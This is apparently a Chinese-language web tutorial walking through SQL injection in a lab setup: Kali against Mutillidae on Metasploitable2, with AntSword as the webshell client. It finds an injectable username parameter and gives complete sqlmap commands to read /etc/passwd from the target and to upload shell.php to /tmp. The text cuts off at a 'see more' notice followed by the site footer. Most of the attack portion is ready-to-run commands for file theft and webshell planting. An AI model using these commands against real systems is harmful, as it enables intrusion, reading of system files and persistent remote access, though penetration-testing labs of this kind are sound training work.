靶机——metasploitable2
攻击机——kali
环境——Mutillidae
菜刀——蚁剑
sqlmap参数:
--file-read=RFILE Read a file from the back-end DBMS file system
从后端的数据库管理系统文件系统读取文件
--file-write=WFILE Write a local file on the back-end DBMS file system
编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE Back-end DBMS absolute filepath to write to
后端的数据库管理系统写入文件的绝对路径
1、打开 Mutillidae 里 User Info 测试模块
http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details
发现 username 存在注入漏洞
3、使用 sqlmap 自动注入工具
读:
--file-read="/etc/passwd"
sqlmap -u "http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p username --file-read="/etc/passwd"
读取的内容保存在 /root/.sqlmap/output/192.168.47.133 这目录下
写:(要写的文件,必须在kali本机里有)
写入到 /tmp 目录下
--file-write="shell.php" --file-dest="/tmp/shell.php"
sqlmap -u "http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username' --file-write="shell.php" --file-dest="/tmp/shell.php"
因篇幅问题不能全部显示,请点此查看更多更全内容
Copyright © 2019- azee.cn 版权所有 赣ICP备2024042794号-5
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务